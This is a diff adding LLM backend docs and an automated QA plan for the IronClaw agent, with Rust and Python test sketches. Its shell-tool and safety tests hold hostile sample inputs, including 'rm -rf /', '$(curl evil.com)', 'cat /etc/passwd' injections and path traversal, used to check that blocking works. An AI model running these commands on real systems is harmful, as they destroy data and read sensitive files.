+LLM_BASE_URL=https://openrouter.ai/api/v1 +LLM_API_KEY=sk-or-... +LLM_MODEL=anthropic/claude-sonnet-4 +``` + +Popular OpenRouter model IDs: + +| Model | ID | +|---|---| +| Claude Sonnet 4 | `anthropic/claude-sonnet-4` | +| GPT-4o | `openai/gpt-4o` | +| Llama 4 Maverick | `meta-llama/llama-4-maverick` | +| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` | +| Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` | + +Browse all models at [openrouter.ai/models](https://openrouter.ai/models). + +### Together AI + +[Together AI](https://www.together.ai) provides fast inference for open-source models. + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://api.together.xyz/v1 +LLM_API_KEY=... +LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo +``` + +Popular Together AI model IDs: + +| Model | ID | +|---|---| +| Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` | +| DeepSeek R1 | `deepseek-ai/DeepSeek-R1` | +| Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` | + +### Fireworks AI + +[Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support. + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://api.fireworks.ai/inference/v1 +LLM_API_KEY=fw_... +LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic +``` + +### vLLM / LiteLLM (self-hosted) + +For self-hosted inference servers: + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=http://localhost:8000/v1 +LLM_API_KEY=token-abc123 # set to any string if auth is not configured +LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct +``` + +LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure): + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=http://localhost:4000/v1 +LLM_API_KEY=sk-... +LLM_MODEL=gpt-4o # as configured in litellm config.yaml +``` + +### LM Studio (local GUI) + +Start LM Studio's local server, then: + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=http://localhost:1234/v1 +LLM_MODEL=llama-3.2-3b-instruct-q4_K_M +# LLM_API_KEY is not required for LM Studio +``` + +--- + +## Using the Setup Wizard + +Instead of editing `.env` manually, run the onboarding wizard: + +```bash +ironclaw onboard +``` + +Select **"OpenAI-compatible"** for OpenRouter, Together AI, Fireworks, vLLM, LiteLLM, +or LM Studio. You will be prompted for the base URL and (optionally) an API key. +The model name is configured in the following step. diff --git a/docs/plans/2026-02-24-automated-qa.md b/docs/plans/2026-02-24-automated-qa.md new file mode 100644 index 00000000..5fb56d4b --- /dev/null +++ b/docs/plans/2026-02-24-automated-qa.md @@ -0,0 +1,908 @@ +# Automated QA Plan for IronClaw + +**Date:** 2026-02-24 +**Status:** Draft +**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing. + +--- + +## Motivation + +A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories: + +| Category | Examples | Root Cause | +|----------|----------|------------| +| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read | +| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back | +| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI | +| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back | +| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all | +| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args | +| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration | + +Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug. + +--- + +## Tier 1: Schema & Contract Tests + +**Cost:** Low (pure Rust tests, no infrastructure) +**Timeline:** Can land incrementally, one PR per sub-task +**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320 + +### 1.1 Tool Schema Validator + +Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts: + +- Top-level has `"type": "object"` +- Every key in `"required"` exists in `"properties"` +- Every property has a `"type"` field +- No `additionalProperties` unless explicitly set +- Nested objects follow the same rules recursively + +```rust +// src/tools/registry.rs or a new tests/tool_schema_validation.rs +#[test] +fn all_tool_schemas_are_openai_strict_valid() { + let registry = ToolRegistry::new(); + register_all_builtins(&mut registry); + for tool in registry.all_tools() { + let schema = tool.parameters_schema(); + validate_strict_schema(&schema, &tool.name()) + .unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e)); + } +} +``` + +Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces). + +**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs` + +### 1.2 Config Round-Trip Tests + +Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match. + +Cover the specific bugs found: +- `LLM_BACKEND` written to bootstrap `.env` and read back correctly +- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set +- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false` +- Session token stored under `nearai.session_token` (not `nearai.session`) + +```rust +#[test] +fn bootstrap_env_round_trips_llm_backend() { + let dir = tempdir().unwrap(); + let env_path = dir.path().join(".env"); + save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap(); + // Simulate restart: load from env file + dotenv::from_path(&env_path).unwrap(); + assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai"); +} +``` + +**Files:** New `tests/config_round_trip.rs` + +### 1.3 Feature-Flag CI Matrix + +The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features. + +Add a CI matrix: + +```yaml +# .github/workflows/test.yml +strategy: + matrix: + features: + - "--all-features" + - "" # default features only + - "--no-default-features --features libsql" +steps: + - name: Run Tests + run: cargo test ${{ matrix.features }} -- --nocapture +``` + +Update `code_style.yml` to also run clippy with `--all-features`: + +```yaml +- name: Check lints (all features) + run: cargo clippy --all-features -- -D warnings +- name: Check lints (libsql only) + run: cargo clippy --no-default-features --features libsql -- -D warnings +``` + +**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml` + +### 1.4 Docker Build in CI + +Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds. + +```yaml +# .github/workflows/test.yml - new job +docker-build: + name: Docker Build + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - name: Build Docker image + run: docker build -t ironclaw-test:ci . +``` + +**Files:** Modify `.github/workflows/test.yml` + +--- + +## Tier 2: Integration Tests + +**Cost:** Medium (needs test harnesses, possibly testcontainers) +**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions +**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140 + +### 2.1 Test Harness: In-Memory Database Backend + +Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests. + +Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood): + +```rust +// src/testing.rs +pub async fn test_db() -> impl Database { + let backend = LibSqlBackend::open_in_memory().await.unwrap(); + backend.run_migrations().await.unwrap(); + backend +} +``` + +**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`) + +### 2.2 Turn Persistence Tests + +Test every code path in `process_approval` and the main agent loop that should call `persist_turn`: + +```rust +#[tokio::test] +async fn approved_tool_call_persists_turn() { + let db = test_db().await; + let mut agent = TestAgent::new(db); + // Create a turn with a pending tool call + agent.submit("search for cats").await; + // Simulate tool approval + agent.approve_tool_call(0).await; + // Verify turn is in DB (not just in memory) + let turns = agent.db().get_turns(agent.thread_id()).await.unwrap(); + assert!(turns.iter().any(|t| t.has_tool_result())); +} +``` + +Cover: +- Approved tool call with successful result +- Approved tool call with error result +- Approved tool call requiring auth +- Deferred tool call with auth +- User message persisted before agent loop starts (not after) + +**Files:** New `tests/turn_persistence.rs` + +### 2.3 WASM Channel Lifecycle Tests + +Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written. + +```rust +#[tokio::test] +async fn wasm_channel_workspace_writes_are_flushed() { + let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes()); + // Simulate a callback that writes workspace data + wrapper.handle_callback(test_update_payload()).await.unwrap(); + // Verify writes were captured + let writes = wrapper.take_pending_writes(); + assert!(!writes.is_empty(), "workspace_write() calls must be captured"); +} + +#[tokio::test] +async fn wasm_channel_workspace_read_returns_prior_writes() { + let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes()); + // Inject workspace data + wrapper.inject_workspace_entry("polling_offset", b"12345"); + // Simulate a callback that reads workspace data + wrapper.handle_callback(test_update_payload()).await.unwrap(); + // The channel should have used the injected offset (not 0) + // Verify by checking the getUpdates call offset parameter +} +``` + +**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs` + +### 2.4 Extension Registry Collision Tests + +Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly: + +```rust +#[tokio::test] +async fn channel_and_tool_with_same_name_dont_collide() { + let registry = TestRegistry::new(); + registry.install("telegram", ArtifactKind::Channel).await.unwrap(); + registry.install("telegram", ArtifactKind::Tool).await.unwrap(); + assert!(registry.tools_dir().join("telegram").exists()); + assert!(registry.channels_dir().join("telegram").exists()); + // Both resolve independently + assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel); + assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool); +} +``` + +**Files:** New `tests/registry_collision.rs` + +### 2.5 Shell Tool Realistic Arg Tests + +The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args: + +```rust +#[tokio::test] +async fn destructive_command_blocked_with_object_args() { + let shell = ShellTool::new(); + let params = serde_json::json!({ + "command": "rm -rf /" + }); + // This is how the LLM actually sends args -- as an Object, not a String + let result = shell.execute(params, &test_context()).await; + assert!(result.is_err() || result.unwrap().contains("blocked")); +} +``` + +Also test pipe deadlock prevention with large output: + +```rust +#[tokio::test] +async fn shell_handles_large_output_without_deadlock() { + let shell = ShellTool::new(); + let params = serde_json::json!({ + "command": "yes | head -c 200000" // ~200KB, well above pipe buffer + }); + let result = tokio::time::timeout( + Duration::from_secs(10), + shell.execute(params, &test_context()) + ).await; + assert!(result.is_ok(), "shell tool deadlocked on large output"); +} +``` + +**Files:** Extend `src/tools/builtin/shell.rs` tests + +### 2.6 Failover and Circuit Breaker Edge Cases + +```rust +#[test] +fn cooldown_activation_at_zero_nanos() { + let mut cooldown = ProviderCooldown::new(); + // Edge case: if system clock returns 0 (or test mock does) + cooldown.activate_cooldown(0); + assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op"); +} + +#[tokio::test] +async fn failover_with_all_providers_failing() { + let failover = FailoverProvider::new(vec![ + always_failing_provider("a]"), + always_failing_provider("b"), + ]); + let result = failover.chat(&[]).await; + assert!(result.is_err()); + // Must not panic (the old .expect() bug) +} +``` + +**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests + +### 2.7 Context Length Recovery Test + +Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error: + +```rust +#[tokio::test] +async fn context_length_exceeded_triggers_compaction() { + let mut agent = TestAgent::with_provider( + ContextLimitMockProvider::new(fail_after_n_turns: 3) + ); + // Send enough messages to trigger context limit + for i in 0..5 { + agent.submit(&format!("message {i}")).await; + } + // Agent should have compacted and continued, not errored + assert!(agent.last_response().is_ok()); + assert!(agent.compaction_count() > 0); +} +``` + +**Files:** New `tests/context_recovery.rs` + +--- + +## Tier 3: Computer-Use E2E Testing + +**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running) +**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions +**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items + +### 3.1 Architecture + +``` ++------------------+ +-----------------+ +------------------+ +| Test Runner | | Headless | | IronClaw | +| (Python/TS) |---->| Chromium |---->| (cargo run) | +| | | (Playwright) | | GATEWAY=true | +| Orchestrates | | | | port 3001 | +| scenarios | | Screenshots | | | ++--------+---------+ +--------+--------+ +------------------+ + | | + v v ++------------------+ +-----------------+ +| Claude | | Assertion | +| Computer Use | | Engine | +| API | | (visual + | +| (screenshot → | | DOM-based) | +| action) | | | ++------------------+ +-----------------+ +``` + +**Components:** + +1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios. + +2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts). + +3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls. + +4. **Assertion engine** -- Hybrid approach: + - **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children" + - **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time" + +### 3.2 Test Infrastructure Setup + +**Directory structure:** + +``` +tests/ + e2e/ + conftest.py # pytest fixtures: start ironclaw, browser + computer_use.py # Claude computer use client wrapper + assertions.py # DOM + visual assertion helpers + scenarios/ + test_connection.py + test_chat.py + test_skills.py + test_sse_reconnect.py + test_onboarding.py + test_html_injection.py + test_tool_approval.py + screenshots/ # Reference screenshots (gitignored) + Dockerfile.test # Container for CI: ironclaw + chromium +``` + +**Fixture: start ironclaw** + +```python +@pytest.fixture(scope="session") +async def ironclaw_server(): + """Start ironclaw with gateway enabled, return base URL.""" + env = { + "CLI_ENABLED": "false", + "GATEWAY_ENABLED": "true", + "GATEWAY_PORT": "3001", + "GATEWAY_AUTH_TOKEN": "test-token-e2e", + "GATEWAY_USER_ID": "e2e-tester", + "LLM_BACKEND": "openai_compatible", # or mock + "LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama + "DATABASE_BACKEND": "libsql", + "LIBSQL_PATH": ":memory:", + "SANDBOX_ENABLED": "false", + "SKILLS_ENABLED": "true", + } + proc = await asyncio.create_subprocess_exec( + "cargo", "run", "--features", "libsql", + env={**os.environ, **env}, + ) + await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120) + yield "http://127.0.0.1:3001" + proc.terminate() +``` + +**Fixture: browser with computer use** + +```python +@pytest.fixture +async def browser_agent(ironclaw_server): + """Playwright browser + Claude computer use agent.""" + async with async_playwright() as p: + browser = await p.chromium.launch(headless=True) + page = await browser.new_page(viewport={"width": 1280, "height": 720}) + await page.goto(f"{ironclaw_server}/?token=test-token-e2e") + agent = ComputerUseAgent(page) + yield agent + await browser.close() +``` + +**Computer use wrapper:** + +```python +class ComputerUseAgent: + """Drives the browser via Claude computer use API.""" + + def __init__(self, page: Page): + self.page = page + self.client = anthropic.Anthropic() + + async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]: + """ + Give a natural-language instruction, let Claude drive the browser. + Returns a list of observations/assertions from Claude. + """ + messages = [{"role": "user", "content": instruction}] + observations = [] + + for _ in range(max_steps): + screenshot = await self.take_screenshot() + response = self.client.messages.create( + model="claude-sonnet-4-20250514", + max_tokens=1024, + tools=[{ + "type": "computer_20250124", + "name": "computer", + "display_width_px": 1280, + "display_height_px": 720, + }], + messages=messages, + ) + + # Process tool use blocks (click, type, screenshot, etc.) + for block in response.content: + if block.type == "tool_use": + result = await self.execute_action(block.input) + messages.append({"role": "assistant", "content": response.content}) + messages.append({"role": "user", "content": [result]}) + elif block.type == "text": + observations.append(block.text) + + if response.stop_reason == "end_turn": + break + + return observations + + async def take_screenshot(self) -> bytes: + return await self.page.screenshot(type="png") + + async def execute_action(self, action: dict) -> dict: + """Translate Claude's computer use action to Playwright calls.""" + if action["action"] == "click": + await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1]) + elif action["action"] == "type": + await self.page.keyboard.type(action["text"]) + elif action["action"] == "scroll": + await self.page.mouse.wheel(0, action["coordinate"][1]) + elif action["action"] == "key": + await self.page.keyboard.press(action["text"]) + # Return screenshot after action + screenshot = await self.take_screenshot() + return {"type": "tool_result", "content": [ + {"type": "image", "source": {"type": "base64", "media_type": "image/png", + "data": base64.b64encode(screenshot).decode()}} + ]} +``` + +### 3.3 Test Scenarios + +Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`. + +#### Scenario 1: Connection and Tab Navigation + +```python +async def test_connection_and_tabs(browser_agent): + """Bugs: #306 (orphan threads on null threadId during page load)""" + observations = await browser_agent.execute_scenario(""" + 1. Look at the page. Verify there is a "Connected" indicator visible. + 2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills. + 3. For each tab, verify the panel content changes and no error messages appear. + 4. Return to the Chat tab. + 5. Report what you see for each tab. + """) + # DOM assertions (fast, deterministic) + page = browser_agent.page + assert await page.locator(".connection-status.connected").count() > 0 + for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]: + assert await page.locator(f'[data-tab="{tab}"]').count() > 0 +``` + +#### Scenario 2: Chat Message Round-Trip + +```python +async def test_chat_sends_and_receives(browser_agent): + """Bugs: #305 (user message not persisted), #255 (fake proceed messages)""" + observations = await browser_agent.execute_scenario(""" + 1. Click on the chat input box at the bottom. + 2. Type "Hello, what is 2+2?" and press Enter. + 3. Wait for the assistant to respond (you should see a streaming response). + 4. Verify the assistant's response appears below your message. + 5. Report the assistant's response. + """) + page = browser_agent.page + # At least 2 messages: user + assistant + messages = await page.locator(".message").count() + assert messages >= 2 + # No error toasts + assert await page.locator(".toast.error").count() == 0 +``` + +#### Scenario 3: SSE Reconnect + +```python +async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server): + """Bug: #307 (no re-sync on SSE reconnect after server restart)""" + page = browser_agent.page + + # Step 1: Send a message + await browser_agent.execute_scenario(""" + Type "Remember this: the secret word is platypus" in the chat and press Enter. + Wait for the response. + """) + msg_count_before = await page.locator(".message").count() + + # Step 2: Kill and restart the server + # (test fixture provides a restart helper) + await restart_ironclaw(ironclaw_server) + + # Step 3: Wait for reconnect + await page.wait_for_selector(".connection-status.connected", timeout=30000) + + # Step 4: Verify message history is preserved + msg_count_after = await page.locator(".message").count() + assert msg_count_after >= msg_count_before, \ + f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}" +``` + +#### Scenario 4: Skills Search, Install, Remove + +```python +async def test_skills_lifecycle(browser_agent): + """Automates the manual checklist from skills/web-ui-test/SKILL.md""" + # Override confirm() to auto-accept + await browser_agent.page.evaluate("window.confirm = () => true") + + observations = await browser_agent.execute_scenario(""" + 1. Click the "Skills" tab. + 2. Look for a search box. Type "markdown" and press Enter or click Search. + 3. Wait for results to appear. + 4. Verify results show: name, version, description. + 5. Click "Install" on the first result. + 6. Wait for a success notification. + 7. Verify the skill now appears in the "Installed Skills" section. + 8. Click "Remove" on the skill you just installed. + 9. Wait for a success notification. + 10. Verify the skill is gone from the installed list. + 11. Report what happened at each step. + """) + # Final state: no installed skills (we removed what we installed) + page = browser_agent.page + await page.click('[data-tab="skills"]') + # Should not have the test skill installed +``` + +#### Scenario 5: HTML Injection Defense + +```python +async def test_html_injection_sanitized(browser_agent): + """Bug: #263 (HTML error pages injected into UI, still open)""" + # This requires a mock LLM that returns HTML in tool output + # or we craft a message that triggers tool output containing HTML + page = browser_agent.page + + await browser_agent.execute_scenario(""" + Type this exact message in the chat and press Enter: + "Please use the http tool to fetch https://httpbin.org/html" + Wait for the response. + """) + + # The page should NOT have raw HTML rendering from the tool output + # Check that no unexpected

or full documents appear + body_html = await page.inner_html("body") + assert "" not in body_html.lower() or "code" in body_html.lower(), \ + "Raw HTML from tool output was injected unsanitized into the page" +``` + +#### Scenario 6: Tool Approval Overlay + +```python +async def test_tool_approval_overlay(browser_agent): + """Bugs: #250 (approval results not persisted), #72 (destructive check dead code)""" + observations = await browser_agent.execute_scenario(""" + 1. Type "Run the shell command: echo hello world" in chat and press Enter. + 2. If an approval dialog appears, click "Approve" or "Allow". + 3. Wait for the result. + 4. Verify the output includes "hello world". + 5. Report what you see. + """) +``` + +#### Scenario 7: Onboarding Wizard (Full Flow) + +```python +async def test_onboarding_wizard_completes(tmp_ironclaw_home): + """Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)""" + # Start ironclaw with a fresh home directory (no prior config) + # The wizard runs in TUI mode, so we need a PTY or use the web wizard + # if/when one exists. For now, test the CLI wizard via expect-style automation. + + proc = pexpect.spawn( + "cargo run", + env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env}, + timeout=60, + ) + + # Step through wizard + proc.expect("Welcome to IronClaw") + proc.expect("LLM Backend") + proc.sendline("1") # Select first option + # ... continue through all 7 steps ... + proc.expect("Setup complete") + proc.close() + + # Restart and verify wizard does NOT re-trigger + proc2 = pexpect.spawn( + "cargo run", + env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env}, + timeout=30, + ) + proc2.expect("Agent ironclaw ready") # Should skip wizard + # Must NOT see "Welcome to IronClaw" again + assert not proc2.match_any(["Welcome to IronClaw"], timeout=5) + proc2.close() +``` + +### 3.4 LLM Backend for E2E Tests + +E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options: + +1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`. + +2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures. + +3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism. + +Recommendation: Start with local Ollama for development, mock LLM server for CI. + +### 3.5 CI Integration + +E2E tests are expensive and slow. Run them on a separate schedule, not on every PR: + +```yaml +# .github/workflows/e2e.yml +name: E2E Tests +on: + schedule: + - cron: "0 6 * * *" # Daily at 6 AM UTC + workflow_dispatch: # Manual trigger + +jobs: + e2e: + runs-on: ubuntu-latest + services: + ollama: + image: ollama/ollama:latest + steps: + - uses: actions/checkout@v6 + - name: Build ironclaw + run: cargo build --features libsql + - name: Install Playwright + run: pip install playwright pytest-playwright && playwright install chromium + - name: Pull test model + run: ollama pull qwen2.5:0.5b + - name: Run E2E tests + run: pytest tests/e2e/ -v --timeout=300 + env: + LLM_BACKEND: openai_compatible + LLM_BASE_URL: http://localhost:11434/v1 + ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} +``` + +--- + +## Tier 4: Chaos and Resilience Testing + +**Cost:** Medium (needs mock providers, time-control utilities) +**Timeline:** After Tier 2 harness exists; add scenarios incrementally +**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139 + +### 4.1 LLM Provider Chaos + +Test the failover chain, circuit breaker, and retry logic under realistic failure modes: + +```rust +/// Provider that fails N times then succeeds +struct FlakeyProvider { failures_remaining: AtomicU32 } + +/// Provider that returns ContextLengthExceeded after N messages +struct ContextBombProvider { threshold: usize } + +/// Provider that hangs forever (tests timeout handling) +struct HangingProvider; + +/// Provider that returns malformed JSON +struct GarbageProvider; +``` + +**Test scenarios:** + +| Scenario | Setup | Expected | +|----------|-------|----------| +| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response | +| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic | +| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues | +| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next | +| Malformed response | GarbageProvider | Error logged, retry or failover | +| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls | +| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes | + +**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs` + +### 4.2 Concurrent Job Stress Test + +Submit many jobs simultaneously and verify no state corruption: + +```rust +#[tokio::test] +async fn concurrent_jobs_dont_corrupt_state() { + let db = test_db().await; + let agent = TestAgent::new(db); + + // Submit 20 jobs concurrently + let handles: Vec<_> = (0..20) + .map(|i| { + let agent = agent.clone(); + tokio::spawn(async move { + agent.submit(&format!("job {i}: what is {i} + {i}?")).await + }) + }) + .collect(); + + let results: Vec<_> = futures::future::join_all(handles).await; + + // All should complete (some may error, none should panic) + for result in &results { + assert!(result.is_ok(), "job panicked: {:?}", result); + } + + // Verify no cross-contamination in contexts + let jobs = agent.db().list_jobs().await.unwrap(); + let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect(); + assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job"); +} +``` + +**Files:** New `tests/concurrent_jobs.rs` + +### 4.3 Dispatcher Infinite Loop Guard + +The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls: + +```rust +#[tokio::test] +async fn dispatcher_terminates_when_hook_rejects() { + let dispatcher = TestDispatcher::new(); + dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into())); + + let result = tokio::time::timeout( + Duration::from_secs(5), + dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]), + ).await; + + assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call"); +} +``` + +**Files:** Extend `src/agent/dispatcher.rs` tests + +### 4.4 Value Estimator Boundary Tests + +```rust +#[test] +fn is_profitable_with_zero_price() { + let estimator = ValueEstimator::new(); + // Must not panic (was a divide-by-zero before PR #139) + let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0)); + assert!(!result); +} + +#[test] +fn is_profitable_with_negative_cost() { + let estimator = ValueEstimator::new(); + let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0)); + // Negative cost = always profitable + assert!(result); +} +``` + +**Files:** Extend `src/estimation/value.rs` tests + +### 4.5 Safety Layer Adversarial Tests + +Test the safety layer with adversarial inputs that have caused real bypasses: + +```rust +#[test] +fn path_traversal_in_wasm_allowlist() { + let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]); + // Must be blocked: path traversal before normalization + assert!(!allowlist.allows("api.example.com/v1/../admin")); + assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd")); +} + +#[test] +fn shell_env_scrubbing_removes_secrets() { + let env = scrubbed_env(); + assert!(!env.contains_key("OPENAI_API_KEY")); + assert!(!env.contains_key("NEARAI_SESSION_TOKEN")); + assert!(!env.contains_key("DATABASE_URL")); + // Safe vars preserved + assert!(env.contains_key("PATH")); + assert!(env.contains_key("HOME")); +} + +#[test] +fn leak_detector_catches_api_keys_in_output() { + let detector = LeakDetector::default(); + let output = "Here's your key: sk-1234567890abcdef1234567890abcdef"; + let result = detector.scan(output); + assert!(result.has_leaks()); +} + +#[test] +fn sanitizer_blocks_command_injection() { + let sanitizer = Sanitizer::new(); + let inputs = vec![ + "hello; rm -rf /", + "$(curl evil.com)", + "hello\n`whoami`", + "test && cat /etc/passwd", + ]; + for input in inputs { + let result = sanitizer.sanitize(input); + assert_ne!(result, input, "injection not caught: {input}"); + } +} +``` + +**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs` + +--- + +## Implementation Priority + +| Priority | Tier | Item | Effort | Bugs Prevented | +|----------|------|------|--------|----------------| +| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider | +| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate | +| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds | +| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs | +| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests | +| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages | +| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks | +| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses | +| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes | +| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory | +| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs | +| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user | +| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions | +| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops | +| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests | +| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs | +| P3 | 4.2 | Concurrent job stress | 1 day | State corruption | +| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs | + +## Open Questions + +1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches? + +2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance. + +3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use 